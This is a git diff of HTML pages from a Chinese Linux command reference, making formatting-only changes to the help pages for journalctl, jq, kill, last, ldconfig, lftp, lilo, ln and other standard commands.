    +-b --boot[=ID]          # 显示当前启动或指定启动
       --list-boots          # 显示有关已记录引导的简洁信息
    --k --dmesg              # 显示当前启动的内核消息日志
    --u --unit=UNIT          # 显示指定单元的日志
    --t --identifier=STRING  # 显示具有指定系统日志标识符的条目
    --p --priority=RANGE     # 显示具有指定优先级的条目
    --e --pager-end          # 在pager中立即跳转到末尾
    --f --follow             # 关注期刊
    --n --lines[=INTEGER]    # 要显示的日志条目数
    +-k --dmesg              # 显示当前启动的内核消息日志
    +-u --unit=UNIT          # 显示指定单元的日志
    +-t --identifier=STRING  # 显示具有指定系统日志标识符的条目
    +-p --priority=RANGE     # 显示具有指定优先级的条目
    +-e --pager-end          # 在pager中立即跳转到末尾
    +-f --follow             # 关注期刊
    +-n --lines[=INTEGER]    # 要显示的日志条目数
       --no-tail             # 显示所有行,即使在跟随模式下
    --r --reverse            # 首先显示最新的条目
    --o --output=STRING      # 更改日志输出模式 (short, short-iso,
    +-r --reverse            # 首先显示最新的条目
    +-o --output=STRING      # 更改日志输出模式 (short, short-iso,
                                        short-precise, short-monotonic, verbose,
                                        export, json, json-pretty, json-sse, cat)
    ---utc                   # 以协调世界时 (UTC) 表示的时间
    --x --catalog            # 在可用的情况下添加消息说明
    +--utc                   # 以协调世界时 (UTC) 表示的时间
    +-x --catalog            # 在可用的情况下添加消息说明
        --no-full            # Ellipsize 字段
    --a --all                # 显示所有字段,包括长的和不可打印的
    --q --quiet              # 不显示特权警告
    +-a --all                # 显示所有字段,包括长的和不可打印的
    +-q --quiet              # 不显示特权警告
        --no-pager           # 不要将输出通过管道传输到寻呼机
    --m --merge              # 显示所有可用期刊的条目
    --D --directory=PATH     # 显示目录中的日志文件
    -   --file=PATH          # 显示日志文件
    -   --root=ROOT          # 对根目录下的目录文件进行操作
    -   --interval=TIME      # 更改 FSS 密封键的时间间隔
    +-m --merge              # 显示所有可用期刊的条目
    +-D --directory=PATH     # 显示目录中的日志文件
    +   --file=PATH          # 显示日志文件
    +   --root=ROOT          # 对根目录下的目录文件进行操作
    +   --interval=TIME      # 更改 FSS 密封键的时间间隔
        --verify-key=KEY     # 指定FSS验证密钥
    -   --force              # 使用 --setup-keys 覆盖 FSS 密钥对 
    +   --force              # 使用 --setup-keys 覆盖 FSS 密钥对 
     
     Commands:
    --h --help              # 显示此帮助文本
    -   --version           # 显示包版本
    --F --field=FIELD       # 列出指定字段的所有值
    +-h --help              # 显示此帮助文本
    +   --version           # 显示包版本
    +-F --field=FIELD       # 列出指定字段的所有值
        --new-id128         # 生成新的 128 位 ID
        --disk-usage        # 显示所有日志文件的总磁盘使用情况
        --vacuum-size=BYTES # 将磁盘使用量减少到指定大小以下
        --vacuum-time=TIME  # 删除早于指定日期的日志文件
    -   --flush             # 将所有日志数据从 /run 刷新到 /var
    -   --header            # 显示期刊头信息
    +   --flush             # 将所有日志数据从 /run 刷新到 /var
    +   --header            # 显示期刊头信息
        --list-catalog      # 显示目录中的所有消息 ID
        --dump-catalog      # 在消息目录中显示条目
        --update-catalog    # 更新消息目录数据库
        --setup-keys        # 生成新的 FSS 密钥对
    -   --verify            # 验证日志文件的一致性
    +   --verify            # 验证日志文件的一致性
     
    journalctl -b +
    journalctl -b
     

    不过,一般大家更关心的不是本次启动后的日志,而是上次启动时的(例如,刚刚系统崩溃了)。可以使用 -b 参数:

    @@ -240,20 +240,20 @@ Commands:
  • journalctl -b -2 显示上上次启动的信息 journalctl -b -2
  • 只显示错误、冲突和重要告警信息

    -
    journalctl -p err..alert
    +
    journalctl -p err..alert
     

    也可以使用数字, journalctl -p 3..1。如果使用单个 number/keyword,则 journalctl -p 3 - 还包括所有更高的优先级。

    显示从某个日期 ( 或时间 ) 开始的消息:

    -
    journalctl --since="2012-10-30 18:17:16"
    +
    journalctl --since="2012-10-30 18:17:16"
     

    显示从某个时间 ( 例如 20分钟前 ) 的消息:

    -
    journalctl --since "20 min ago"
    +
    journalctl --since "20 min ago"
     

    显示最新信息

    -
    journalctl -f
    +
    journalctl -f
     

    显示特定程序的所有消息:

    @@ -265,11 +265,11 @@ Commands:

    显示指定单元的所有消息:

    -
    journalctl -u man-db.service
    +
    journalctl -u man-db.service
     

    显示内核环缓存消息r:

    -
    journalctl -k
    +
    journalctl -k
     

    手动清理日志

    @@ -283,7 +283,7 @@ Commands:
    journalctl --vacuum-time=2weeks
     
    - - + + \ No newline at end of file diff --git a/c/jq.html b/c/jq.html index 95bf7083e9..9cb883e565 100644 --- a/c/jq.html +++ b/c/jq.html @@ -9,7 +9,7 @@ jq 命令,Linux jq 命令详解:一个灵活的轻量级命令行JSON处理器 - Linux 命令搜索引擎 - + @@ -134,29 +134,29 @@ yum install jq " class="copied">

    语法

    jq [options] <jq filter> [file...]
    -jq [options] --args <jq filter> [strings...]
    -jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
    +jq [options] --args <jq filter> [strings...]
    +jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
     

    选项

    -
    -c               紧凑而不是漂亮的输出;
    --n               使用`null`作为单个输入值;
    --e               根据输出设置退出状态代码;
    --s               将所有输入读取(吸取)到数组中;应用过滤器;
    --r               输出原始字符串,而不是JSON文本;
    --R               读取原始字符串,而不是JSON文本;
    --C               为JSON着色;
    --M               单色(不要为JSON着色);
    --S               在输出上排序对象的键;
    ---tab            使用制表符进行缩进;
    ---arg a v        将变量$a设置为value<v>;
    ---argjson a v    将变量$a设置为JSON value<v>;
    ---slurpfile a f  将变量$a设置为从<f>读取的JSON文本数组;
    ---rawfile a f    将变量$a设置为包含<f>内容的字符串;
    ---args           其余参数是字符串参数,而不是文件;
    ---jsonargs       其余的参数是JSON参数,而不是文件;
    +
    -c               紧凑而不是漂亮的输出;
    +-n               使用`null`作为单个输入值;
    +-e               根据输出设置退出状态代码;
    +-s               将所有输入读取(吸取)到数组中;应用过滤器;
    +-r               输出原始字符串,而不是JSON文本;
    +-R               读取原始字符串,而不是JSON文本;
    +-C               为JSON着色;
    +-M               单色(不要为JSON着色);
    +-S               在输出上排序对象的键;
    +--tab            使用制表符进行缩进;
    +--arg a v        将变量$a设置为value<v>;
    +--argjson a v    将变量$a设置为JSON value<v>;
    +--slurpfile a f  将变量$a设置为从<f>读取的JSON文本数组;
    +--rawfile a f    将变量$a设置为包含<f>内容的字符串;
    +--args           其余参数是字符串参数,而不是文件;
    +--jsonargs       其余的参数是JSON参数,而不是文件;
     --               终止参数处理;
     
    - - + + \ No newline at end of file diff --git a/c/jwhois.html b/c/jwhois.html index 396b4806e0..550cb48e90 100644 --- a/c/jwhois.html +++ b/c/jwhois.html @@ -9,7 +9,7 @@ jwhois 命令,Linux jwhois 命令详解:whois 客户端服务 - Linux 命令搜索引擎 - + @@ -122,17 +122,17 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    --version                  display version number and patch level
    ---help                     display this help
    --v, --verbose              verbose debug output
    --c FILE, --config=FILE     use FILE as configuration file
    --h HOST, --host=HOST       explicitly query HOST
    +
    --version                  display version number and patch level
    +--help                     display this help
    +-v, --verbose              verbose debug output
    +-c FILE, --config=FILE     use FILE as configuration file
    +-h HOST, --host=HOST       explicitly query HOST
     -n, --no-redirect          disable content redirection
     -s, --no-whoisservers      disable whois-servers.net service support
    --a, --raw                  disable reformatting of the query
    +-a, --raw                  disable reformatting of the query
     -i, --display-redirections display all redirects instead of hiding them
    --p PORT, --port=PORT       use port number PORT (in conjunction with HOST)
    --r, --rwhois               force an rwhois query to be made
    +-p PORT, --port=PORT       use port number PORT (in conjunction with HOST)
    +-r, --rwhois               force an rwhois query to be made
     --rwhois-display=DISPLAY   sets the display option in rwhois queries
     --rwhois-limit=LIMIT       sets the maximum number of matches to return
     
    - - + + \ No newline at end of file diff --git a/c/kernelversion.html b/c/kernelversion.html index 7fb65b27db..45dac81b00 100644 --- a/c/kernelversion.html +++ b/c/kernelversion.html @@ -9,7 +9,7 @@ kernelversion 命令,Linux kernelversion 命令详解:打印当前内核的主版本号 - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);kernelversion
    - - + + \ No newline at end of file diff --git a/c/kexec.html b/c/kexec.html index c9411f9483..d9d6e146da 100644 --- a/c/kexec.html +++ b/c/kexec.html @@ -9,7 +9,7 @@ kexec 命令,Linux kexec 命令详解:从当前正在运行的内核引导到一个新内核 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/kill.html b/c/kill.html index cc123afe3a..9c794bae9f 100644 --- a/c/kill.html +++ b/c/kill.html @@ -9,7 +9,7 @@ kill 命令,Linux kill 命令详解:发送信号到进程。 - Linux 命令搜索引擎 - + @@ -122,8 +122,8 @@ customElements.define('markdown-style', MarkdownStyle);

    内建命令

    概要

    -
    kill [-s sigspec | -n signum | -sigspec] pid | jobspec ...
    -kill -l [sigspec]
    +
    kill [-s sigspec | -n signum | -sigspec] pid | jobspec ...
    +kill -l [sigspec]
     
    @@ -133,10 +133,10 @@ kill -l [sigspec]
  • 列出信号。
  • 选项

    -
    -s sig    信号名称。
    --n sig    信号名称对应的数字。
    --l        列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。
    --L        等价于-l选项。
    +
    -s sig    信号名称。
    +-n sig    信号名称对应的数字。
    +-l        列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。
    +-L        等价于-l选项。
     
    返回值

    返回状态为成功除非给出了非法选项、执行出现错误。

    例子

    -
    [user2@pc] kill -l 9
    +
    [user2@pc] kill -l 9
     KILL
     
     # 列出所有信号名称:
    -[user2@pc] kill -l
    +[user2@pc] kill -l
      1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
      5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
      9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
    @@ -214,33 +214,33 @@ CONT   18    继续(与STOP相反,fg/bg命令)
     STOP   19    暂停(同 Ctrl + Z)
     " class="copied">
    # 以下发送KILL信号的形式等价。当然还有更多的等价形式,在此不一一列举了。
    -[user2@pc] kill -s SIGKILL PID
    -[user2@pc] kill -s KILL PID
    -[user2@pc] kill -n 9 PID
    -[user2@pc] kill -9 PID
    +[user2@pc] kill -s SIGKILL PID
    +[user2@pc] kill -s KILL PID
    +[user2@pc] kill -n 9 PID
    +[user2@pc] kill -9 PID
     
     [user2@pc] sleep 90 &
     [1] 178420
     
     # 终止作业标识符为1的作业。
    -[user2@pc] kill -9 %1
    +[user2@pc] kill -9 %1
     
    -[user2@pc] jobs -l
    +[user2@pc] jobs -l
     [1]+ 178420 KILLED                  ssh 192.168.1.4
     
     [user2@pc] sleep 90 &
     [1] 181357
     
     # 发送停止信号。
    -[user2@pc] kill -s STOP 181357
    +[user2@pc] kill -s STOP 181357
     
    -[user2@pc] jobs -l
    +[user2@pc] jobs -l
     [1]+ 181537 Stopped (signal)        sleep 90
     
     # 发送继续信号。
    -[user2@pc] kill -s CONT 181357
    +[user2@pc] kill -s CONT 181357
     
    -[user2@pc] jobs -l
    +[user2@pc] jobs -l
     [1]+ 181537 Running                 sleep 90 &
     
    外部命令

    概要

    kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name...
    -kill -l [number] | -L
    +kill -l [number] | -L
     
    @@ -294,17 +294,17 @@ kill -l [number] | -L

    选项

    -
    -s, --signal signal    要发送的信号,可能是信号名称或信号对应的数字。
    --l, --list [number]    打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。
    --L, --table            和'-l'选项类似,但是输出信号名称以及信号对应的数字。
    --a, --all              不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。
    --p, --pid              打印目标进程的PID而不发送信号。
    ---verbose              打印信号以及接收信号的PID。
    --q, --queue value      使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。
    +
    -s, --signal signal    要发送的信号,可能是信号名称或信号对应的数字。
    +-l, --list [number]    打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。
    +-L, --table'-l'选项类似,但是输出信号名称以及信号对应的数字。
    +-a, --all              不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。
    +-p, --pid              打印目标进程的PID而不发送信号。
    +--verbose              打印信号以及接收信号的PID。
    +-q, --queue value      使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。
                                如果接收进程已为此信号安装了处理程序将SA_SIGINFO标记为sigaction(2),则可以获取
                                该数据通过siginfo_t结构的si_sigval字段。
    ---help                 显示帮助信息并退出。
    ---version              显示版本信息并退出。
    +--help                 显示帮助信息并退出。
    +--version              显示版本信息并退出。
     
    > sleep 20 & # 列出对应的PID。 -> kill -p sleep +> kill -p sleep 23021
    参考链接

    发送信号到进程

    - - + + \ No newline at end of file diff --git a/c/killall.html b/c/killall.html index e2be1cc161..ef50000984 100644 --- a/c/killall.html +++ b/c/killall.html @@ -9,7 +9,7 @@ killall 命令,Linux killall 命令详解:使用进程的名称来杀死一组进程 - Linux 命令搜索引擎 - + @@ -147,9 +147,9 @@ customElements.define('markdown-style', MarkdownStyle);# 杀死所有同名进程 killall vi # 指定向进程发送的信号 -killall -9 vi +killall -9 vi # 0信号表示不向进程发送信号, 可通过返回值判断进程是否存在, 0(存在)1(不存在) -killall -0 vi +killall -0 vi echo $?
    - - + + \ No newline at end of file diff --git a/c/last.html b/c/last.html index 03dfc566c9..cb45372fc7 100644 --- a/c/last.html +++ b/c/last.html @@ -9,7 +9,7 @@ last 命令,Linux last 命令详解:列出目前与过去登入系统的用户相关信息 - Linux 命令搜索引擎 - + @@ -124,8 +124,8 @@ customElements.define('markdown-style', MarkdownStyle);选项
    -a:把从何处登入系统的主机名称或ip地址,显示在最后一行;
     -d:将IP地址转换成主机名称;
    --f <记录文件>:指定记录文件。
    --n <显示列数>或-<显示列数>:设置列出名单的显示列数;
    +-f <记录文件>:指定记录文件。
    +-n <显示列数>或-<显示列数>:设置列出名单的显示列数;
     -R:不显示登入系统的主机名称或IP地址;
     -x:显示系统关机,重新开机,以及执行等级的改变等信息。
     
    实例

    last命令用了显示用户登录情况,以下是直接显示固定行数的记录:

    -
    last -10
    +
    last -10
     root     pts/0        221.6.45.34      Tue Dec 17 09:40   still logged in
     root     pts/0        221.6.45.34      Mon Dec 16 09:00 - 11:57  (02:56)
     root     pts/0        222.94.97.122    Sun Dec 15 20:39 - 23:28  (02:48)
    @@ -165,7 +165,7 @@ root     pts/0        221.6.45.34      Tue Dec 10 14:41 - 15:52  (01:10)
     root     pts/0        221.6.45.34      Mon Dec  9 17:24 - 17:30  (00:06)
     root     pts/0        221.6.45.34      Mon Dec  9 09:38 - 11:41  (02:02)
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/lastb.html b/c/lastb.html index ccba1cf846..3ff65ad700 100644 --- a/c/lastb.html +++ b/c/lastb.html @@ -9,7 +9,7 @@ lastb 命令,Linux lastb 命令详解:列出登入系统失败的用户相关信息 - Linux 命令搜索引擎 - + @@ -175,7 +175,7 @@ root ssh:notty 110.84.129.3 Mon Dec 16 19:12 - 19:12 (00:00) root ssh:notty 110.84.129.3 Mon Dec 16 17:00 - 17:00 (00:00) admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00) " class="copied">
    - - + + \ No newline at end of file diff --git a/c/lastlog.html b/c/lastlog.html index a8a9e80f6c..2e37912e5e 100644 --- a/c/lastlog.html +++ b/c/lastlog.html @@ -9,7 +9,7 @@ lastlog 命令,Linux lastlog 命令详解:显示系统中所有用户最近一次登录信息 - Linux 命令搜索引擎 - + @@ -186,7 +186,7 @@ postfix **Never logged in** www **Never logged in** mysql **Never logged in** " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ld.html b/c/ld.html index 11ec3bb61b..432a8ed881 100644 --- a/c/ld.html +++ b/c/ld.html @@ -9,7 +9,7 @@ ld 命令,Linux ld 命令详解:将目标文件连接为可执行程序 - Linux 命令搜索引擎 - + @@ -133,12 +133,12 @@ ld [options] objfile ...

    目标文件:指定需要连接的目标文件。

    实例

    这告诉ld通过将文件 /lib/crt0.ohello.o 和库 libc.a 链接起来,生成一个名为 output 的文件,该文件将来自标准搜索目录。

    -
    ld -o <output> /lib/crt0.o hello.o -lc
    -ld -o output /lib/crt0.o hello.o -lc
    +
    ld -o <output> /lib/crt0.o hello.o -lc
    +ld -o output /lib/crt0.o hello.o -lc
     
    - - + + \ No newline at end of file diff --git a/c/ldconfig.html b/c/ldconfig.html index d3ed9fd4e8..7596503a89 100644 --- a/c/ldconfig.html +++ b/c/ldconfig.html @@ -9,7 +9,7 @@ ldconfig 命令,Linux ldconfig 命令详解:动态链接库管理命令 - Linux 命令搜索引擎 - + @@ -127,14 +127,14 @@ customElements.define('markdown-style', MarkdownStyle);-n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。 -N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。 -X:此选项指示ldconfig不更新文件的连接,若未用-N选项,则缓存文件正常更新。 --f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf。 --C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。 --r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性。 +-f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf。 +-C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。 +-r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性。 -l:通常情况下,ldconfig搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项。 -p或--print-cache:此选项指示ldconfig打印出当前缓存文件所保存的所有共享库的名字。 --c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式)。 +-c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式)。 -V:此选项打印出ldconfig的版本信息,而后退出。 --? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出。 +-? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出。
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -229,7 +229,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/ldd.html b/c/ldd.html index dc66db2eb8..b3fea45b03 100644 --- a/c/ldd.html +++ b/c/ldd.html @@ -9,7 +9,7 @@ ldd 命令,Linux ldd 命令详解:打印程序或者库文件所依赖的共享库列表 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ customElements.define('markdown-style', MarkdownStyle);再执行任何的程序,如ls等,看看程序的运行结果。

    ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linux.so(elf动态库的装载器)来实现的。我们知道,ld-linux.so模块会先于executable模块程序工作,并获得控制权,因此当上述的那些环境变量被设置时,ld-linux.so选择了显示可执行模块的dependency。

    实际上可以直接执行ld-linux.so模块,如:/lib/ld-linux.so.2 --list program(这相当于ldd program)

    - - + + \ No newline at end of file diff --git a/c/less.html b/c/less.html index cadf44435a..24572c6ad3 100644 --- a/c/less.html +++ b/c/less.html @@ -9,7 +9,7 @@ less 命令,Linux less 命令详解:分屏上下翻页浏览文件内容 - Linux 命令搜索引擎 - + @@ -145,7 +145,7 @@ customElements.define('markdown-style', MarkdownStyle);sudo less /var/log/shadowsocks.log
    - - + + \ No newline at end of file diff --git a/c/let.html b/c/let.html index 3a60a9017b..84419b89a2 100644 --- a/c/let.html +++ b/c/let.html @@ -9,7 +9,7 @@ let 命令,Linux let 命令详解:简单的计算器,执行算术表达式。 - Linux 命令搜索引擎 - + @@ -256,7 +256,7 @@ expr 3 + 4
    echo 'error' fi # 注意空格。 -if [[ 12 -le 10 ]]; then +if [[ 12 -le 10 ]]; then echo 'error' else echo '12 is greater than 10.' @@ -287,11 +287,11 @@ fi # 显示7 # 设置了整型属性就可以直接加了。 -declare -i a=3 b=4 c +declare -i a=3 b=4 c c=a+b echo ${c} # 同上。 -declare -i a +declare -i a a=2*3 echo ${a} # 显示6。 @@ -326,7 +326,7 @@ echo ${a}

    执行算术计算的命令除了let,还有外部命令exprbc等。

    - - + + \ No newline at end of file diff --git a/c/lftp.html b/c/lftp.html index 521074f6e4..47595a98cd 100644 --- a/c/lftp.html +++ b/c/lftp.html @@ -9,7 +9,7 @@ lftp 命令,Linux lftp 命令详解:优秀的文件客户端程序 - Linux 命令搜索引擎 - + @@ -147,16 +147,16 @@ cd 对应ftp目录 " class="copied">

    下载

    get当然是可以的,还可以:

    -
    mget -c *.pdf    #把所有的pdf文件以允许断点续传的方式下载。
    +
    mget -c *.pdf    #把所有的pdf文件以允许断点续传的方式下载。
     mirror aaa/      #将aaa目录整个的下载下来,子目录也会自动复制。
    -pget -c -n 10 file.dat   #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。
    +pget -c -n 10 file.dat   #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。
     

    上传

    同样的put、mput都是对文件的操作,和下载类似。

    -
    mirror -R 本地目录名
    +
    mirror -R 本地目录名
     

    将本地目录以迭代(包括子目录)的方式反向上传到ftp site。

    @@ -196,7 +196,7 @@ set file:charset utf8 set pget:default-n 5 " class="copied">

    这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。

    - - + + \ No newline at end of file diff --git a/c/lftpget.html b/c/lftpget.html index a3e159b745..acdc6023ba 100644 --- a/c/lftpget.html +++ b/c/lftpget.html @@ -9,7 +9,7 @@ lftpget 命令,Linux lftpget 命令详解:调用lftp指令下载指定的文件 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要下载的文件,文件必须是合法的URL路径。

    - - + + \ No newline at end of file diff --git a/c/lha.html b/c/lha.html index 84bdb17383..2895624e99 100644 --- a/c/lha.html +++ b/c/lha.html @@ -9,7 +9,7 @@ lha 命令,Linux lha 命令详解:压缩或解压缩lzh格式文件 - Linux 命令搜索引擎 - + @@ -164,14 +164,14 @@ customElements.define('markdown-style', MarkdownStyle);z或z:不压缩文件,直接把它加入,更新压缩文件。 " class="copied">

    实例

    -
    lha -a abc.lhz a.b         #压缩a.b文件,压缩后生成 abc.lhz 文件
    -lha -a abc2 /home/hnlinux  #压缩目录
    -lha -xiw=agis abc          #解压文件abc,到当前目录
    +
    lha -a abc.lhz a.b         #压缩a.b文件,压缩后生成 abc.lhz 文件
    +lha -a abc2 /home/hnlinux  #压缩目录
    +lha -xiw=agis abc          #解压文件abc,到当前目录
     
    - - + + \ No newline at end of file diff --git a/c/lilo.html b/c/lilo.html index d0ce6a6767..0da6833751 100644 --- a/c/lilo.html +++ b/c/lilo.html @@ -9,7 +9,7 @@ lilo 命令,Linux lilo 命令详解:安装核心载入开机管理程序 - Linux 命令搜索引擎 - + @@ -171,7 +171,7 @@ customElements.define('markdown-style', MarkdownStyle);使用 LILO 作为引导加载程序

    要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装)。

    要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入:

    -
    /sbin/lilo -v -v
    +
    /sbin/lilo -v -v
     

    这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR。

    @@ -227,7 +227,7 @@ other=/dev/hda
  • label= 与所有其他 label 选项相同。
  • 在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行:

    -
    /sbin/lilo -v -v
    +
    /sbin/lilo -v -v
     

    -v -v标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo)。

    @@ -243,7 +243,7 @@ other=/dev/hda

    LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导/dev/hdb3,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符。

    不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行/sbin/lilo时指定选项。

    关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用boot=/dev/fd0替换boot=/dev/hda。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回boot=/dev/hda,然后最后一次运行/sbin/lilo来上传修改。

    - - + + \ No newline at end of file diff --git a/c/ln.html b/c/ln.html index 331c251316..a584be3fd9 100644 --- a/c/ln.html +++ b/c/ln.html @@ -9,7 +9,7 @@ ln 命令,Linux ln 命令详解:用来为文件创建链接 - Linux 命令搜索引擎 - + @@ -122,7 +122,7 @@ customElements.define('markdown-style', MarkdownStyle);ln [选项]... [-T] 目标 链接名 (第一种格式)  或:ln [选项]... 目标 (第二种格式)  或:ln [选项]... 目标... 目录 (第三种格式) - 或:ln [选项]... -t 目录 目标... (第四种格式) + 或:ln [选项]... -t 目录 目标... (第四种格式)

    选项

    --backup[=CONTROL]      # 为每个已存在的目标文件创建备份文件
    --b                      # 类似--backup,但不接受任何参数
    --d, -F, --directory         # 创建指向目录的硬链接(只适用于超级用户)
    --f, --force                 # 强行删除任何已存在的目标文件
    --i, --interactive           # 覆盖既有文件之前先询问用户
    --L, --logical               # 取消引用作为符号链接的目标
    +-b                      # 类似--backup,但不接受任何参数
    +-d, -F, --directory         # 创建指向目录的硬链接(只适用于超级用户)
    +-f, --force                 # 强行删除任何已存在的目标文件
    +-i, --interactive           # 覆盖既有文件之前先询问用户
    +-L, --logical               # 取消引用作为符号链接的目标
     -n, --no-dereference        # 把符号链接的目的目录视为一般文件
    --P, --physical              # 直接将硬链接到符号链接
    --r, --relative              # 创建相对于链接位置的符号链接
    --s, --symbolic              # 对源文件建立符号链接,而非硬链接
    --S, --suffix=SUFFIX         # 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它
    +-P, --physical              # 直接将硬链接到符号链接
    +-r, --relative              # 创建相对于链接位置的符号链接
    +-s, --symbolic              # 对源文件建立符号链接,而非硬链接
    +-S, --suffix=SUFFIX         # 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它
     -t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY
     -T, --no-target-directory   # 将“LINK_NAME”视为常规文件
    --v, --verbose               # 打印每个链接文件的名称
    ---help      # 显示此帮助信息并退出
    ---version   # 显示版本信息并退出
    +-v, --verbose               # 打印每个链接文件的名称
    +--help      # 显示此帮助信息并退出
    +--version   # 显示版本信息并退出
     
    ln -s /usr/mengqc/mub1 /usr/liu/abc +
    ln -s /usr/mengqc/mub1 /usr/liu/abc
     

    执行该命令后,/usr/mengqc/mub1代表的路径将存放在名为/usr/liu/abc的文件中。

